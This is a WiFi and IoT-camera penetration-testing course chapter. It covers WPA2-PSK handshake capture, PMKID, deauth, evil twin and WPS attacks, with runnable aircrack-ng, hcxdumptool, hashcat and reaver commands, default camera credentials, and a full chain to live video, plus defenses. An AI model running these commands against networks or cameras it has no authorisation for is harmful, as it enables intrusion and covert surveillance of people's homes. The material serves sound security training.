WPA2, WiFi and hacked cameras — full chapter

Thirty minutes to understand why half of the home surveillance cameras on the market can fall to a laptop and a thirty-dollar USB WiFi adapter. We start from the physics of radio and work up to the full attack chain, with exact commands, working defenses, and the half-measures that only make you feel safe.

What you will be able to do

• Explain, to a client panicking after a footage leak, what an attacker actually did to get there.
• Distinguish the WiFi attack techniques that work in 2026 from the ones you still read about in blog posts from 2015.
• Recommend a defense that holds for both a residential setup and a corporate one, with clear requirements for hardware, configuration and monitoring.

Why WiFi and why cameras

In 2026 two simple realities make this topic urgent.

First, WiFi is everywhere and rarely configured correctly. At home, ISP-provided boxes ship with a randomly generated password — but generated by an algorithm an attacker can often reverse (the Livebox / Freebox / SFR box saga occupied the CVE database for years). In a small business, half of them still use a single WPA2-PSK shared between all employees and printers.

Second, IP cameras are everywhere and rarely updated. The global market exceeds 400 million active units, dominated by brands where security is a marketing bullet, not an engineering discipline. An attacker who lands on a WiFi network almost always finds at least one camera that can be compromised with:

• The factory default password (admin:admin, admin:123456, root:vizxv).
• An unencrypted HTTP admin interface with no password change.
• An open RTSP feed with no authentication on port 554 or 8554.
• A poorly filtered ONVIF API on port 80 or 8080.
• A default bind on all interfaces, including WAN when UPnP misfires on the router.

The link between the two is direct: if the WiFi falls, the camera follows within minutes. That is why we cover WiFi first and cameras second in this chapter.

Radio in five minutes

A WiFi signal is not magic — it is an electromagnetic wave. Three quantities are enough to understand the whole picture.

Frequency, wavelength and range

Frequency is the number of oscillations per second, measured in hertz (Hz). WiFi uses three bands:

Band	Exact range	Wavelength	Typical indoor range	Typical bitrate
2.4 GHz	2.400 – 2.4835 GHz	12.5 cm	45 m through walls	100–400 Mb/s
5 GHz	5.150 – 5.850 GHz	6 cm	15 m through walls	400–1 200 Mb/s
6 GHz (WiFi 6E)	5.925 – 7.125 GHz	5 cm	10 m through walls	1–4 Gb/s

Three things to remember:

• 2.4 GHz reaches farther because the wavelength is long enough to diffract around obstacles. That is why it is the band of choice for outdoor cameras, video doorbells and garage sensors.
• 5 GHz reaches less far but delivers more throughput and more channels — with less interference too, because fewer legacy devices live there.
• 6 GHz is the new band, WiFi 6E and WiFi 7 only, mostly empty but poorly deployed in 2026.

Why 2.4 GHz is saturated

The 2.4 GHz band is shared with DECT phones, microwave ovens (which radiate around 2.45 GHz), remote-controlled toys, Bluetooth, ZigBee, and cheap analog video transmitters. When you capture traffic on that band, you literally see dozens of concurrent emitters. This is also why the effective range is much lower than the theoretical range: every transmission has to wait for a free slot.

Channels and width

Each band is sliced into channels. On 2.4 GHz there are 13 channels (14 in Japan) spaced by 5 MHz. But each WiFi channel occupies 20 MHz of width, meaning channel 1 overlaps up to 5, channel 6 up to 10, and so on.

Practical consequence: on 2.4 GHz there are only three non-overlapping channels — 1, 6 and 11. Any attacker capturing WiFi traffic will hop those three first, because 90% of access points sit there.

On 5 GHz you get more channels (about 25 depending on country) with widths from 20 to 160 MHz. It is comfortable for data, and it is also why targeted attacks tend to focus on 2.4 GHz — the target density is higher there.

Power and propagation

Emission power is measured in dBm (decibel milliwatts). A consumer-grade router emits around 20 dBm (100 mW), a USB WiFi adapter between 15 and 30 dBm (32 to 1000 mW). That is the power at the antenna: what reaches the receiver is much lower because power decays with the square of distance.

The practical question for an attacker is simple: with which WiFi card and which antenna, at what distance can I capture a handshake? The answer depends on receiver sensitivity (an Alfa AWUS036ACHM advertises -95 dBm sensitivity, a standard laptop chipset sits at -80 dBm). A directional antenna gains 10 dB easily, which roughly doubles the effective distance.

Bottom line: with a dedicated USB adapter and an omni +5 dBi antenna, you capture a handshake at 30 meters through a wall. With a directional yagi at +15 dBi, you reach 200 meters in line of sight.

Wi-Fi 802.11 in thirty seconds

WiFi lives on the IEEE 802.11 standard, first published in 1997 and revised regularly. Revisions that matter for this chapter:

Standard	Year	What changes	Supported encryption
802.11b/g	1999–2003	2.4 GHz baseline	WEP, then WPA
802.11n	2009	MIMO, ×5 bitrate	WPA / WPA2
802.11ac	2013	Mass 5 GHz	Mostly WPA2
802.11ax (WiFi 6)	2019	OFDMA, denser	WPA2 or WPA3
802.11be (WiFi 7)	2024	Multi-link	WPA3 mandatory for certification

For an attacker, the physical standard matters little. What matters is the security protocol: WEP, WPA, WPA2 or WPA3.

The security protocol — from WEP to WPA3

WEP (1999 – 2004)

RC4 encryption with a shared key. Crackable in ten minutes since 2001, definitive academic demonstration in 2007 (Tews, Weinmann, Pyshkin). Any WEP install in 2026 is a config bug to fix immediately, not an attack to test.

WPA (2003)

Emergency response from the WiFi Alliance, added TKIP (per-packet encryption with key rolling) but kept RC4 underneath. Beck-Tews and Ohigashi-Morii attacks in 2008-2009. Obsolete.

WPA2 (2004 – today)

Moves to AES-CCMP as the cipher. Two modes:

• WPA2-Personal or WPA2-PSK — a single passphrase shared between all clients of the network. This is the home / small office mode. It is also the mode of 90% of cameras.
• WPA2-Enterprise — 802.1X, each client authenticates with its own account and often a certificate, through a RADIUS server. This is what a properly configured enterprise deploys.

WPA2 is not broken as a protocol. What is broken is WPA2-PSK with a weak password, along with a handful of implementation flaws (KRACK in 2017, PMKID in 2018).

WPA3 (2018)

Replaces the initial handshake with SAE (Simultaneous Authentication of Equals), also called Dragonfly. SAE makes password-based authentication resistant to offline attacks by relying on elliptic curves. In practice, capturing a WPA3 handshake gives you nothing offline — you have to interact with the AP to test each candidate, which makes brute force infeasible.

In 2026, WPA3 is mandatory for WiFi 6E and WiFi 7 certification. But consumer routers ship in "WPA2/WPA3 mixed" mode for compatibility, which reopens the door via a downgrade attack (see below).

How WPA2-PSK actually works

PSK mode (Pre-Shared Key) is the one that concerns us. Understanding its internals is half the work of a WiFi pentester.

From passphrase to master key (PMK)

When you type MyPassword2026! into your router, it is not used directly. It is derived via PBKDF2-HMAC-SHA1, with:

• The passphrase as the secret.
• The SSID (network name) as the salt.
• 4096 iterations.
• 256 bits of output.

The result is called the PMK (Pairwise Master Key). Formally:

PMK = PBKDF2-HMAC-SHA1(passphrase, SSID, 4096, 256)

Two immediate consequences:

• Two networks with the same name and same password share the same PMK. This is why rainbow WPA tables exist: precompute the PMK for a popular SSID (FreeWiFi, linksys, Livebox-XXXX) against millions of passphrases, and save hours at attack time.
• PBKDF2 with 4096 iterations is weak in 2026. A modern GPU tests tens of thousands of PMK per second. What actually protects you is passphrase length and entropy, not the derivation function.

The 4-way handshake

Every time a client associates to the network (phone, camera, laptop), both endpoints run a 4-way handshake. This is the heart of WPA2-PSK. It produces a PTK (Pairwise Transient Key) unique to the session, derived from:

• The PMK (both sides already have it).
• A random value from the AP (ANonce).
• A random value from the client (SNonce).
• The MAC addresses of client and AP.

The four messages:

1. AP → client: sends ANonce.
2. Client → AP: sends SNonce and a MIC (Message Integrity Code) computed with the locally derived PTK. The MIC proves the client knows the PMK.
3. AP → client: sends the GTK (group key, for broadcast) encrypted with the PTK, plus its own MIC.
4. Client → AP: acknowledgement.

What an attacker sniffing passively captures: all four packets. They do not know the PMK, but they know ANonce, SNonce, the MAC addresses, and the MIC from message 2.

They therefore hold an equation whose only unknown is the passphrase:

MIC = HMAC-SHA1(PTK, message2) PTK = PRF(PMK, ANonce, SNonce, MAC_AP, MAC_client) PMK = PBKDF2(passphrase, SSID, 4096, 256)

They try passphrases in a loop until the recomputed MIC matches the captured one. Classic offline brute force.

What makes brute force realistic

Two concrete 2026 measurements on a commodity rig:

• An RTX 4090 does roughly 2.1 million WPA2 attempts per second with hashcat mode 2500.
• A cloud instance with 8× A100 goes about 3× faster.

At those rates:

• An 8-character all-lowercase alphanumeric password (26⁸ ≈ 208 billion candidates) falls in 27 hours on a single 4090.
• A 10-character mixed case + digits password (62¹⁰ ≈ 8·10¹⁷) is out of pure brute force reach, but most humans pick from the top 100 patterns (common word + year + !), which cuts the effective space by orders of magnitude.
• A 20-character random password holds well beyond the useful life of the installation.

This asymmetry is why WPA2-PSK is vulnerable by password choice, not by protocol design.

WPA2-PSK attack techniques

Five main techniques, plus one for WPA3. All require a WiFi card that supports monitor mode and packet injection. In practice, in 2026:

• Recommended: Alfa AWUS036ACHM (MediaTek MT7612U chipset), 30 €, native Kali support.
• Also good: Alfa AWUS036ACS (Realtek RTL8811AU), 25 €.
• Avoid: internal laptop cards, which typically refuse injection.

Setup — monitor mode

# List available WiFi interfaces
airmon-ng

# Put wlan0 in monitor mode (the interface becomes wlan0mon)
airmon-ng start wlan0

# Confirm monitor mode is active
iwconfig
# → wlan0mon : mode monitor

From that point, all Aircrack-ng, Kismet and hcxdumptool tools can capture raw radio traffic.

Technique 1 — Capturing the 4-way handshake

The classic method, published in 2003, still the most common in a WiFi pentest.

Step 1 — spot the targets.

airodump-ng wlan0mon

The output lists every AP in range with its BSSID (MAC of the AP), channel (CH), cipher (ENC / CIPHER / AUTH), and name (ESSID). Pick the target and note BSSID + channel.

Step 2 — listen to the target only.

airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

You produce capture-01.cap live. You wait for a client to associate (or reassociate) — the handshake only happens at that moment.

Step 3 — speed things up with a deauth (optional, see Technique 3).

Step 4 — when airodump shows WPA handshake: AA:BB:CC:DD:EE:FF in the top right, you have the capture.

Step 5 — crack offline.

# Convert to hashcat mode 2500 (WPA-EAPOL-PBKDF2)
hcxpcapngtool -o hash.22000 capture-01.cap
hashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt \
        --optimized-kernel-enable \
        -r /usr/share/hashcat/rules/best64.rule

On a modern GPU, rockyou.txt (14 million common words) with best64.rule (classic mutations: year appended, ! suffix, initial uppercase, and so on) runs in 2 to 5 minutes.

Technique 2 — PMKID (Steube, August 2018)

The shortcut that changed everything. Discovered by Jens Steube (the author of hashcat), it exploits an implementation flaw in some AP firmwares that leak the PMKID (a hash derived from the PMK) in the first packet of association, before the full 4-way handshake.

Result: you no longer need a client to associate. You send a bogus association request, and the AP responds with the PMKID.

# Capture PMKID
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

# Convert to hashcat format
hcxpcapngtool -o pmkid.22000 pmkid.pcapng

# Crack
hashcat -m 22000 pmkid.22000 rockyou.txt

Not every AP leaks the PMKID. But in practice, between 30 and 50% of consumer routers manufactured between 2015 and 2020 do. New boxes patch it; the old ones stay vulnerable, and they are everywhere.

Technique 3 — Deauth to force capture

WiFi does not authenticate its management frames in standard WPA2 (it has been optional since 802.11w, and rarely enabled on consumer gear). An attacker can therefore send a deauthentication frame spoofing the AP's BSSID, forcing clients to disconnect and reconnect — and thus replay a 4-way handshake.

# Deauth all clients of an AP
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth one specific client
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

Combined with airodump-ng listening in parallel, you get the handshake in seconds instead of waiting for spontaneous reconnection.

Why management frames aren't signed by default

The original 802.11 standard (1997) did not plan for signing management frames. Revision 802.11w (2009) added PMF (Protected Management Frames), which makes deauth impossible to forge. Catch: PMF is optional in WPA2 and only mandatory in WPA3. Consumer routers in 2026 still ship with PMF disabled for backwards compatibility with old clients. That tradeoff is what keeps the deauth attack near universal.

Technique 4 — Evil twin

You cannot crack a strong password offline? Make the client believe it is connecting to the real network, when it is really connecting to you.

Classic recipe:

1. Spot the target SSID with airodump-ng.
2. Create a local AP with the same SSID, at higher power (hostapd + dnsmasq), on another channel.
3. Deauth the clients of the real AP so they look for an alternative.
4. Serve a captive portal asking for the passphrase under the pretext of a "firmware update" or "re-authentication".
5. Receive the passphrase in cleartext.

The tool that automates all this is wifiphisher or its successor hostapd-mana. It is social engineering + technique, so more effective in consumer environments than in a mature enterprise.

Technique 5 — WPS PIN brute force (Reaver / Bully)

WPS (WiFi Protected Setup) is a "convenience" mode where you type an 8-digit PIN to associate a client. Design flaw (2011, Viehböck): the PIN is validated in two halves of 4 digits, cutting the search space from 10⁸ to 2·10⁴. Online brute force takes 4 to 10 hours.

# Reaver against an AP with WPS enabled
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

Some APs added rate limiting or WPS lockout to counter this. bully handles those cases better.

In practice 2026: WPS is disabled by default on recent boxes but often still enabled on cameras and legacy gear. It is the royal road into a smart thermostat or a WiFi baby monitor.

Technique 6 — WPA3 downgrade to WPA2

WPA3 resists offline brute force. But if your router runs in mixed WPA2/WPA3 mode, an attacker can force the client to use WPA2, capture the handshake, and crack offline. That is the Dragonblood attack (Vanhoef and Ronen, 2019).

Defense: switch to WPA3-only mode in the router config. Every WPA3-capable client will negotiate SAE, no downgrade possible.

Why IoT cameras are jackpot targets

Once on the network, a WiFi camera is almost always weaker than the router protecting the network. Six reasons stack up:

1. Same default password across a whole model

Manufacturers save a few minutes by industrializing a single password per batch, sometimes per entire model line. Public collections group thousands of brand:model → login:password pairs — the routersploit project embeds a good chunk of them directly.

Famous examples:

Vendor / model	Default login / password
Hikvision (before 2018)	admin / 12345
Dahua (before 2019)	admin / admin
Xiongmai (2015-2020)	root / vizxv
Foscam (before 2019)	admin / (blank)
Generic Amazon OEM	admin / admin

2. Firmware never updated

A 30-dollar Amazon camera in 2026 typically runs firmware compiled in 2019, with a Linux 3.10 kernel and an openssl from 2016. Known CVEs (Heartbleed, Dirty Cow) are directly exploitable.

End users have no update mechanism and no alert path. The camera runs as shipped until it physically breaks.

3. Admin interface on cleartext HTTP

Many camera admin interfaces listen on HTTP (port 80) without HTTPS redirection. An attacker on the same WiFi network sees the admin session go by in cleartext via a trivial ARP spoof with bettercap.

4. RTSP without authentication

The RTSP protocol (Real-Time Streaming Protocol) carries the video feed. On many cameras, the stream is served at rtsp://<ip>:554/live without any password, betting on "nobody will know the URL". In practice, running:

nmap -p 554,8554 --script rtsp-url-brute <ip-camera>

is enough to get live video into VLC.

5. Poorly filtered ONVIF

ONVIF is the standard protocol to control IP cameras: zoom, pan, tilt, presets, snapshots. It runs SOAP over HTTP. Many cameras expose ONVIF on a secondary port (8080, 8899) without WS-Security, letting an HTTP-authenticated attacker drive the camera.

6. Bind on all interfaces + UPnP

Some cameras announce themselves via UPnP to the router, which happily opens a NAT port and publishes the camera to the internet. The owner never asked for it, but the camera is now listed on Shodan within 24 hours.

The Mirai case (2016) and its 2020+ variants

In October 2016, the Mirai botnet compromised more than 600 000 IoT cameras and routers by scanning the internet for open Telnet services with default credentials. It was then used to saturate Dyn (DNS provider for Twitter, Netflix, Github) for six hours.

Modern variants (Mozi, Meris, Fodcha) use the same recipe. In 2026, between 15 and 20% of global IP cameras belong to an active botnet, most of them without the owner noticing.

Typical attack chain on a WiFi camera

You are a pentester hired to assess the home network of an executive. Here is the typical sequence.

1. RF reconnaissance

airmon-ng start wlan0
airodump-ng -w recon --output-format csv wlan0mon

You leave it running 15 minutes. You get every active SSID around the house, with client count, cipher and channel.

You spot JohnHome on WPA2-PSK with 6 clients (three look like cameras from their MAC prefix — Dahua/Hikvision/Reolink OUIs are public).

2. Handshake capture + cracking

airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon &
aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF wlan0mon

Handshake captured. You crack with a custom wordlist: owner name, kids' first names, year of birth, with classic mutations. That is what -r best64.rule handles in hashcat.

Passphrase found: Bernadette1978!.

3. Association and LAN scan

# Bring wlan0 back to client mode
airmon-ng stop wlan0mon
nmcli device wifi connect JohnHome password 'Bernadette1978!'

# Scan the LAN
nmap -sn 192.168.1.0/24

You find: the router, a smartphone, a laptop, a TV, three cameras (192.168.1.20, .21, .22). Two respond to nmap with an HTTP banner mentioning Dahua or Hikvision.

4. Post-connection on the camera

# Admin interface
curl -s http://192.168.1.20/ | grep -i title
# → <title>Web Client v1.0</title>  (Dahua)

# Default login attempt
curl -su admin:admin http://192.168.1.20/cgi-bin/magicBox.cgi?action=getSystemInfo

# Direct RTSP stream
vlc rtsp://192.168.1.20:554/cam/realmonitor?channel=1&subtype=0

# ONVIF snapshot
curl -X POST -H "Content-Type: text/xml" \
     --data @get-snapshot.xml \
     http://192.168.1.20:8080/onvif/Media

Three out of five cameras I pentest yearly fall to admin:admin or admin:12345. One in five falls to the WPS PIN if the web admin is protected. One in five resists — but the firmware has a known CVE.

The client report walks through the full chain: weak WiFi passphrase → association → default login → captured video. Cutting a single weakness would not have been enough: the conjunction is what matters.

Concrete defenses

For a home user

1. A WiFi passphrase of 20+ characters, random, generated with a password manager (Bitwarden, 1Password). Rotation cadence: never, unless there is a known compromise.
2. WPA3-only if every device supports it. WPA2/WPA3 mixed otherwise, with WPS disabled.
3. Guest network enabled on the router for every visitor.
4. Separate IoT network: most recent routers offer a dedicated "SmartHome" SSID isolated from the main network.
5. Immediately change default credentials on every connected device, including cameras, thermostats, bulbs and voice assistants.
6. Disable UPnP on the router. A port must be opened manually, never automatically.
7. Keep firmware up to date on the router and cameras. If the vendor no longer ships updates, dispose of the device.

For a business

1. WPA2-Enterprise or WPA3-Enterprise (802.1X), one account per user, one certificate per device. No more shared secrets.
2. Separate VLANs for cameras, printers, IoT, guests, employees.
3. WIDS/WIPS (Wireless Intrusion Detection / Prevention) that detects rogue APs, mass deauths and evil twins. Solutions: Aruba ClearPass, Cisco Meraki, Fortinet WiFi.
4. Mandatory PMF wherever possible. Reject clients that do not support it or contain them on a limited guest SSID.
5. Hardware refresh every 5 to 7 years: old APs lack the KRACK patches and do not support WPA3.

For a camera manufacturer

1. Per-device unique credentials rotated at factory time, not one password per batch.
2. Signed automatic updates enabled by default, non-disabable.
3. HTTPS required on the admin interface, redirection from HTTP.
4. Mandatory authentication on RTSP and ONVIF, with no option to disable it.
5. Explicit UPnP refusal — never announce yourself on WAN without explicit owner configuration.

Docker lab limits and physical fallbacks

This chapter does not ship with an executable Docker lab, for a simple reason: real radio cannot be virtualized. Docker gives you a Linux system, not a physical 802.11 stack. The techniques here require:

• A USB WiFi card supporting monitor mode and injection.
• Two physical devices in range (attacker and victim).
• An RF environment where you are legally allowed to emit — that is, your own network or a client under a signed pentest contract.

To train without a full physical lab:

• WiFi CTF Academy offers WiFi CTFs with pre-recorded captures to crack offline (ideal for hashcat, .pcapng provided).
• VulnHub / OffSec Proving Grounds provide VMs with integrated captures to analyze.
• Ludus or GOAD (Game of Active Directory) offer broader labs where WiFi is simulated.

For a real client pentest, the minimum 2026 kit:

• Alfa AWUS036ACHM card (30 €).
• Omni +9 dBi antenna + yagi +15 dBi.
• WiFi Pineapple USB key (optional, 200 €, for automated evil twin).
• USB GPS (optional, to map APs during physical walk-throughs).

Total hardware cost: between 30 and 500 € depending on ambition. It is the highest-return investment for a WiFi pentester in 2026.